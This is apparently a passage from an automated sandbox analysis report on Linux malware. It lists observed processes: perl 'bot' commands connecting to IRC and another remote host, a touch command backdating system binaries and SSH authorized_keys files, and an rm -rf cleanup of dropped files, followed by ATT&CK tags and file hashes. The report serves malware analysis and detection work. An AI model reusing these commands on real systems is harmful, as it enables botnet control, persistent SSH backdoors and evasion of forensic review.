      /usr/bin/ld -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cczOLcu8.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/clean /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccHiRGd7.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
      4⤵
      PID:894
- /usr/bin/perl
  perl bot gsm.ftp.sh 1080 -bash
  2⤵
  - Changes its process name
  PID:895
- /usr/bin/perl
  perl bot irc.undernet.org 6667 -bash
  2⤵
  - Changes its process name
  PID:897
- /usr/bin/touch
  touch -d "Dec 1 2018" /root/.ssh /root/.ssh/authorized_keys /bin/bash /bin/bunzip2 /bin/busybox /bin/bzcat /bin/bzcmp /bin/bzdiff /bin/bzegrep /bin/bzexe /bin/bzfgrep /bin/bzgrep /bin/bzip2 /bin/bzip2recover /bin/bzless /bin/bzmore /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/chvt /bin/clean /bin/cls /bin/cp /bin/cpio /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/dumpkeys /bin/echo /bin/egrep /bin/false /bin/fgconsole /bin/fgrep /bin/findmnt /bin/fuser /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ip /bin/journalctl /bin/kbd_mode /bin/kill /bin/kmod /bin/ln /bin/loadkeys /bin/login /bin/loginctl /bin/ls /bin/lsblk /bin/lsmod /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mt /bin/mt-gnu /bin/mv /bin/nano /bin/networkctl /bin/nisdomainname /bin/open /bin/openvt /bin/pidof /bin/ping /bin/ping4 /bin/ping6 /bin/ps /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/rnano /bin/run-parts /bin/sed /bin/setfont /bin/setupcon /bin/sh /bin/sh.distrib /bin/sleep /bin/ss /bin/stty /bin/su /bin/sync /bin/systemctl /bin/systemd /bin/systemd-ask-password /bin/systemd-escape /bin/systemd-hwdb /bin/systemd-inhibit /bin/systemd-machine-id-setup /bin/systemd-notify /bin/systemd-sysusers /bin/systemd-tmpfiles /bin/systemd-tty-ask-password-agent /bin/tailf /bin/tar /bin/tempfile /bin/touch /bin/true /bin/udevadm /bin/umount /bin/uname /bin/uncompress /bin/unicode_start /bin/vdir /bin/wdctl /bin/which /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew /bin/.ssh/authorized_keys /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lost+found /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /vmlinux /vmlinux.old /sbin/agetty /sbin/audispd /sbin/auditctl /sbin/auditd /sbin/augenrules /sbin/aureport /sbin/ausearch /sbin/autrace /sbin/badblocks /sbin/blkdeactivate /sbin/blkdiscard /sbin/blkid /sbin/blockdev /sbin/bridge /sbin/cfdisk /sbin/chcpu /sbin/ctrlaltdel /sbin/debugfs /sbin/depmod /sbin/devlink /sbin/dhclient /sbin/dhclient-script /sbin/discover /sbin/discover-modprobe /sbin/discover-pkginstall /sbin/dmsetup /sbin/dmstats /sbin/dumpe2fs /sbin/e2fsck /sbin/e2image /sbin/e2label /sbin/e2undo /sbin/fdisk /sbin/findfs /sbin/fixfiles /sbin/fsck /sbin/fsck.cramfs /sbin/fsck.ext2 /sbin/fsck.ext3 /sbin/fsck.ext4 /sbin/fsck.minix /sbin/fsfreeze /sbin/fstab-decode /sbin/fstrim /sbin/getty /sbin/halt /sbin/hwclock /sbin/ifdown /sbin/ifquery /sbin/ifup /sbin/init /sbin/insmod /sbin/installkernel /sbin/ip /sbin/ip6tables /sbin/ip6tables-restore /sbin/ip6tables-save /sbin/iptables /sbin/iptables-restore /sbin/iptables-save /sbin/isosize /sbin/kbdrate /sbin/killall5 /sbin/ldconfig /sbin/load_policy /sbin/logsave /sbin/losetup /sbin/lsmod /sbin/mke2fs /sbin/mkfs /sbin/mkfs.bfs /sbin/mkfs.cramfs /sbin/mkfs.ext2 /sbin/mkfs.ext3 /sbin/mkfs.ext4 /sbin/mkfs.minix /sbin/mkhomedir_helper /sbin/mkswap /sbin/modinfo /sbin/modprobe /sbin/nologin /sbin/pam_tally /sbin/pam_tally2 /sbin/pivot_root /sbin/poweroff /sbin/raw /sbin/reboot /sbin/resize2fs /sbin/restorecon /sbin/restorecon_xattr /sbin/rmmod /sbin/rtacct /sbin/rtmon /sbin/runlevel /sbin/runuser /sbin/setfiles /sbin/sfdisk /sbin/shadowconfig /sbin/shutdown /sbin/start-stop-daemon /sbin/sulogin /sbin/swaplabel /sbin/swapoff /sbin/swapon /sbin/switch_root /sbin/sysctl /sbin/tc /sbin/telinit /sbin/tipc /sbin/tune2fs /sbin/udevadm /sbin/uid /sbin/unix_chkpwd /sbin/unix_update /sbin/wipefs /sbin/xtables-multi /sbin/zramctl
  2⤵
  - Adds new SSH keys
  - Writes file to system bin folder
  PID:899
- /bin/rm
  rm -rf a.c ".reboot*" a.c clean.c cls.c ping.c "scan*" distro go "go.tgz*" cls.c clean.c bot ping.c go "wz*"
  2⤵
  PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/bin/.ssh/authorized_keys

Filesize
381B

MD5
fada28f9405c20320d0169f7549137da

SHA1
53f934539664a6e2c0ef06317b8518385e1272aa

SHA256
e962c1d303f7d1b24325d7e8165e7b3c157455c07d666af1a5bfce4e6bcb8640

SHA512
caf57f3fef4eccef88a83c74ec9b53ffffe52bfc6ba809957991beedebf581f427994a59bdec5cb9e5c9b361e6c646501f952d7941acc4ef90721f7bc6399784

Download Submit
/bin/clean

Filesize
27KB

MD5
371e44f4c2a9c84ce20e484467fb8451

SHA1
35ec67202ae57ffbd9b3bf8345c14e0dceee1b19

SHA256
6024f2495d8084285d0804bb9552984badb9c7ff56948d5893163a59fef6b62a

SHA512
1c39bab0a3433ad02ec25fb301ed6471d170e806292c941d774c2bf9f06b0cbca21f631022cd148fb0e9e8a5d84e3fe7d11254e8d5eb28e16e1ccfbe5bb895c1

Download Submit
/bin/cls

Filesize
23KB

MD5
1aefaced40ed7bbd045bd7aa3a85c2b1

SHA1
38a6fbdf768f191a0c22982fd9dba12f5dbfaa3f

SHA256
297a4ad0de93af86d21f3602eabe8a3fbc26b83b9c5732b9733eb7a7d28268ab

SHA512
e8c1c7df4fd344ac780636dea683492b3aa8082855eb11ee1934d31cd8872c7f4babb27a7dcbe125c0cca19f8aa3808a80bb42bf9b630ff61b991b2c3d984299

Download Submit
/bin/false

Filesize
1.2MB

MD5
ff888a762cf16272e430e01339a82159

SHA1
2aa621d5aad40292085f966fb58fd64c92f77781

SHA256
ee7e16d652d1c6ad490a8c5405a7196cd7081c541e6f81f6ed45e4987acf14ae

SHA512
421afe6b505c67e0753f0431caa0563dbe8ca29427a36c563226544c9d89dc6c38f6f788bc768854cd1b1ec39e7f08c3842441aa8eed4a865e6bb02197e2b2d0

Download Submit
/bin/ping6

Filesize
6KB

MD5
1c0ef70f102ad1f4b93627ce5fd267ce

SHA1
b8d192f85aba9a9d93ed562bb22cc93c0069b5e2

SHA256
1a6243890b1e84c8c483c436c859e6894388cff617b62858d190eb141a5921d7

SHA512
63764f9e6938845e71ebf23f8ac4185f8b10e7321403585c35aae303bee4888804c5716130c493c1be4cb1e2a22a875d38702a7c4c9c472b7379d4180e84223d

Download Submit
/etc/group+

Filesize
705B

MD5
cf124b9edd110708e2b22b758ad0d835

SHA1
5d07eabc77d7f46283cea67ac8a89208956c3eaa

SHA256
5561a4c4229ed03e9a63526205ee0a8c9f012bd8bab8feef18126598ee3f1517

SHA512
076423cc2d6954d7ccfa1b70f75d4f137ceda38eeb8e69c79d146de2a307292b922145d2888b4794ec9e22584609d2d156975a286b0245307fcdc777c0d60512

Download Submit
/etc/group+

Filesize
709B

MD5
c6129bfd885a1213cd7ad471efb3ba74

SHA1
b5e523796bdab13a8fb71f7c5072df649709474b

SHA256
44c7c37e619aa264615e910cec3e6298267d531f8b2c94867984d931d38a11b3

SHA512
c9f090c2e271c7f7718ebb946ed0c80e789e6cae5755817626a0bfa1287bdbcfed80f5fd5e6b6fab428e7b1ae3f444fbd7e0781761917e14a651fddd7f5013d5

Download Submit
/etc/group+

Filesize
709B

MD5
3664f87017a0b2b4f44de7ce94eb3183

SHA1
db632c33abc29148c98cce40dc6832630e119ade

SHA256
9961a4fb30575425c404c804a99028e78f1799e8431fc27a7f9524e0322f480f

SHA512
097160bfc2d0e1450e30f03dd57551a02490ff0504d6aa49351155ec6491590cb86cdcba30d83c977a5f1c8b8410f07981c0fbf22b9cc218d1716220a9e9c02f

Download Submit
/etc/group+

Filesize
710B

MD5
8134414453b29650fed022b1f044a957

SHA1
ab208a413c77c085d1d9341f374c9b9378ae669a

SHA256
dc726a19a7f0e7617aa2d0f14aa28f29946e4c52e27a3c5c7f8d864374814481

SHA512
e495439100e866ac1fdc4f9b4cdd709120827f7e4b839cc48b0dd6b286c82c2eb2717d2fa430b61b1faeec3d3d0fcb30fb6d7481e7ccb14c49670dd496588760

Download Submit
/etc/gshadow+

Filesize
596B

MD5
af8cf26ed51defb6aa80306851dd077a

SHA1
c845c7e36b4a15775e1262871f117d2ee7b5b491

SHA256
986faa915f371052ac91bd5554394a13cb44e33100da9d9b3d383d9b795fdf77

SHA512
f0d9524f37742cba47f0efefb8c27218263bef7601b7b4f28163fed100d591513161d42da93d3c6937b1b092b69a5c8c1eda200911494afda1a3dbccac240bd6

Download Submit
/etc/gshadow+

Filesize
600B

MD5
3088263e37c5d364223b9bb481c7ccc8

SHA1
eee2afa05db3d5350e253cfecb556e7d537091ae

SHA256
4b5401c08792b55f5f4ee1745634e3667ff4b5387030b011f520d37aa2957fc2

SHA512
975fcc23a3bdd3b85869ba894e3bc7328388f36cb5b970fef3e4281b801bdd5e6ad344601685a53441b5b345df636562fe1193bd4fe872e2bd715dd622007574

Download Submit
/etc/gshadow+

Filesize
600B

MD5
662e6170cb98f29772ee0fde60c9509a

SHA1
8e4b8a670a18f21a7b05235705dc28b24f375885

SHA256
ea97056485a501aef2ac1cf3b893cb30d9ad222b4cb923ffe61c2dbbcd877077

SHA512
b8a1430b23cb6e10c9b8a1b596f9e46423eaff45325e48f8f718cde1f97c92d11e78078d0ae93f15d8fa32710587eac025ae082ca3ac1959735ff432c1c7037e

Download Submit
/etc/gshadow+

Filesize
601B

MD5
909b1e747f3a72366b47e8ee9a7df8a7

SHA1
d23a0e105296de3412a2756c8fcbe5388585d000

SHA256
d17257c2509ba1157f96409407bb659b6e55717782c1c1445d372d295c022cd4

SHA512
f8461b4d0f989a6cb792e4566b8895a4305a32ad9324784bab7a102a3799dc03355ed538bf1e611d8040ce3e8e59bdc41f43474ab7afe6dabb1bd9cdeb5f2428

Download Submit
/sbin/uid

Filesize
6KB

MD5
01e9927b6e4d3095d9952331579d63d4

SHA1
af818f62f7af9a0d55a07103c887e239ba33805e

SHA256
ed1439a0af37cf16212aaa0ae4665ba3a04c2fd9f3e5616506dddc6d94f4523e

SHA512
7032e601599abfbf67977cd904c4b2b89d3da2be6e8b945f19778b895033ff39157f8dac7b3871aed865cc28b455f6fe6591d0ddd679e8be7c18a3547ffa7e95

Download Submit
/tmp/ccHiRGd7.o

Filesize
24KB

MD5
d298e39df845e2bc54f05496ae9d6776

SHA1
bfa9026963524185e52d76b25745724e117ca009

SHA256
7862aefaf22915da8f865bfcfe8d956790035c8869b02f5fd9a4b1103e50488e

SHA512
1abe3db88e0b36bd1eff87e2aaf568da54075d19ee9c3946a6d4059463309ad2a7dee08da83f6ffa97d813b749b11f7f1040d4a11b1be93940ccb13167641ced

Download Submit
/tmp/ccKlffDh.s

Filesize
1KB

MD5
3fa646a0ade6cf1ba093e9d8d0422c8e

SHA1
bcb10062d11d9926620b580f27b2c44615568906

SHA256
7d6eaaa3e248d2c4bfcf461fb210c00e1733e4b898786714f1371fe8aa1437df

SHA512
3e72d076d87c0beff46fba5703c3146364ce0203c1e6437bb59fff5f8348791b0752a8007d5bf091027ec24eaf8e2715f97d390d5d7b5c50e095efda45e1e2a5

Download Submit
/tmp/ccQopSNY.o

Filesize
23KB

MD5
b78abcdc2aa9daf97339f28dd8de2457

SHA1
66f7a365cb54bd691643708d28ce5f88f92ebc00

SHA256
128924d9b0c4722fb297bebb1107fbfbaed0e7553e08d77e182c3795b82841ad

SHA512
84b322f77f39f971a0bc28f81951f03eac661f215af214cc7108eea84dd770a62c115935f8119e11b735b08a79f1e6e229c8d3a0a9f089c0fe355eb06bb5fde4

Download Submit
/tmp/ccRRYqVq.s

Filesize
68KB

MD5
3ce6503fc2c01169e21f89935edf1677

SHA1
b6f7af1552609c024b27e64004c734c012ab6de8

SHA256
3dcde4aa104d3c6c10514bdad74eb3653fa3b3c4cc2925bf9a581b2b7f24e091

SHA512
d8c7ad353c6889e9ec8a3fd1b299216a7a5c579278bc8817d5ee2b15284c9103c047f3fb1a0329132cd3f2260212a375be03a3d3f0a380e26c23767ae4589b40

Download Submit
/tmp/ccRVTjig.s

Filesize
60KB

MD5
40ed369c2fc8b6f6fb24e01742d100a0

SHA1
478fd5162e04c27895ef165e2d846a6a5916a3a2

SHA256
07baa338902ea5ea0bd160824ecdc6bf7d79da394c5ac5edd18799cd394e0047

SHA512
51a92164f6ffe3615937d35ca0a42009e1832472270a3d3912d9ec90b1c08de6ab60e810cb8ef74743a5a883ce6b2494c1fb80034334f6210198c07b3f10c7d3

Download Submit
/tmp/ccj9ECEW.s

Filesize
115KB

MD5
64d009fac8c4dd4f42201f1b36a7065e

SHA1
667e31396530305a3c35d14b90880816b6cfffe5

SHA256
3dd82bcaefa4a161ed76346e5ba59be2316d95b983b33291dee7f4cfb10b7a14

SHA512
5001bbf697aa39b0ff23499ab79c2c24a23d7a810a642365e1a8dbf8292a5b2b6805379a73c9247dd1927e90521b712172142323f2b3c897e30f58fc31363366

Download Submit
/tmp/ccmo2hIT.o

Filesize
1KB

MD5
45d220aebea9184e8d359221ee6d614f

SHA1
3cb2aa4ac5efb45471a04ab3467396005e550014

SHA256
ce7a9adc496616b83a548fd5cf89b859150f5d87f0dc4f52e7d5fe787b498f71

SHA512
319c438f4c888eeaf66de4f615ac33f15d4909474379c4b6bf580bd6e2d0b9a409b5d9ad6cd8604bbf86a4527355f919aa6f59673bd05f18df60198b1d4c99d1

Download Submit
/tmp/ccx6iHAR.o

Filesize
40KB

MD5
442d4b304f361b0fd75a58c8c2e10ea2

SHA1
4cae2720e1cff9ae310dbe71bf9dc9adeafda865

SHA256
3be2a4c5975bcdc43953da663b2f40dc96afaaafcd771af50472821673e88c04

SHA512
8226fdb4f2172d7080a9e2f98509e2371e3994ac3963c87300a8c1f1ba9e78aede62ac0265e6df24cfa1676cd7ad0cdd95f73ad8cec2c54f5bd3b8a2548f43d8

Download Submit
/usr/games/.ssh/authorized_keys

Filesize
796B

MD5
2057995f71ce5f5cabce3c70e3e8dc08

SHA1
d94033b500b5f2679836ed79d5ad6d72d4f9d26a

SHA256
ee8ba0bbaf22945eb5f3c0460712eeb268e52f0ea6a11225cea7effcb7653e0d

SHA512
8582442c5d2cbc70aa4161e4c8c2d0ec52c4490c8dca8dc22f7b0b2a2c7f43f8ee68ba070e4175bce28506de6b11d1e64d59194dd6a5b35b2c192fd31f076ce2

Download Submit
/usr/share/man/man1/kwk

Filesize
40KB

MD5
a4d76f3d11715d4b13887ed4818fd5a7

SHA1
653e75874b50e3cfd97e9bfbaf5ed6d4a60f3449

SHA256
866c0f2a28807edd4b6a947a82cb586f847cdece2e9692958b13c50665b8faed

SHA512
dc0005a98af9d8318215e16630b9cf8920a02dd4ee346818c39d7406380dcd6463956cce09b527a3a5e8f6c982bc34d25926cf0c0a46b430ca33a523de82dab5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads